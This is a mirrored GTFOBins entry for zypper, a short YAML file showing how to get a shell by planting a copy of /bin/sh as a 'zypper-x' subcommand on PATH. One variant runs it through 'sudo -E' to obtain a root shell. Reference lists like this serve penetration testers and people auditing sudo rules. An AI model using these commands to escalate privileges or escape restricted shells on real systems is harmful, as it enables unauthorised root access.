mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
8c03983ab8
Close #52.
22 lines
629 B
Markdown
22 lines
629 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
|
|
code: |
|
|
zypper x
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
cp /bin/sh $TF/zypper-x
|
|
export PATH=$TF:$PATH
|
|
zypper x
|
|
sudo:
|
|
- description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
|
|
code: |
|
|
sudo zypper x
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
cp /bin/sh $TF/zypper-x
|
|
export PATH=$TF:$PATH
|
|
sudo -E zypper x
|
|
---
|